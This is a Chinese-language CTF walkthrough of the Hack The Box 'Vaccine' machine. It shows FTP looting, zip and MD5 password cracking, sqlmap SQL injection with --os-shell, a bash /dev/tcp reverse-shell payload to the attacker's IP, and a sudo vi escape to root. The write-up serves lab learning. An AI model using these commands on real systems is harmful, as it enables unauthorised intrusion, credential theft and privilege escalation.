Hack the box

Vaccine靶机

Nmap -sV -sC ip 收集信息

发现FTP端口和anonymous登录信息 最近上传一个backup.zip

ftp> get backup.zip unzip需要密码

引入 John the ripper，这里使用zip2john爆破，locate 关键字2john（ssh2john，telegram2john等）

得到hash data传入john进行hash解析

John –wordlist=/usr/share/wordlists/rockyou.txt hash(文件名)

这里wordlist=加空格有拼接但无法run 不加空格无拼接提示

\*fcrackzip 直接爆破文件无需密码

得到index.php后根据关键字找到user admin和password 经过md5加密

网站（crackstation.net）搜索md5解密or hashcat等工具

回到网站主页通过admin和hash得出的密码登陆成功

已知searchbar存在sql-injection 有回显error

使用sqlmap对网站进行测试 –dump DBMS -D -T -C

1. 用burp抓一个get request存为new.req文件进行sqlmap
2. 使用cookie-editor或者F12获取PHPSESSID进行以下拼接sqlmap -u 'http://10.129.95.174/dashboard.php?search=any+query' -- cookie="PHPSESSID=7u6p9qbhb44c5c1rsefp4ro8u1"

通过sqlmap发现数据库为postgreSQL，发现布尔盲注，时间盲注等 使用—os-shell获取command injection拿到shell

但是sqlmap存在长期报错timeout payload？cookie？

Graphical user interface, text

Description automatically generated

通过“bash -c "bash -i >& /dev/tcp/{your\_IP}/443 0>&1"” payload向本地监听口发送反弹shell

成功连接后进行操作修改

python3 -c 'import pty;pty.spawn("/bin/bash")'

CTRL+Z

stty raw -echo

fg

export TERM=xterm

同样容易出现shell断连

反弹shell登陆成功 find / -perm -4000 -type f 2>/dev/null 查找当前权限下的文件

或尝试sudo -l 但需要用户密码 通过/var/www/ /home等文件夹查找php等文件

grep -i -R “pass” \* 进行文件审查 获取postgre密码

通过ssh连接以防止shell挂了

Sudo -l 同时还可以查看账户所拥有的权限

得知postgres可以运行 /bin/vi /etc/postgresql/11/main/pg\_hba.conf

GTFOBins网站可以查询各式bins的bypass 找到/bin/vi下的绕过方法

：set shell=/bin/sh 再进一步 ：shell 发现拿到root权限 再找到root.txt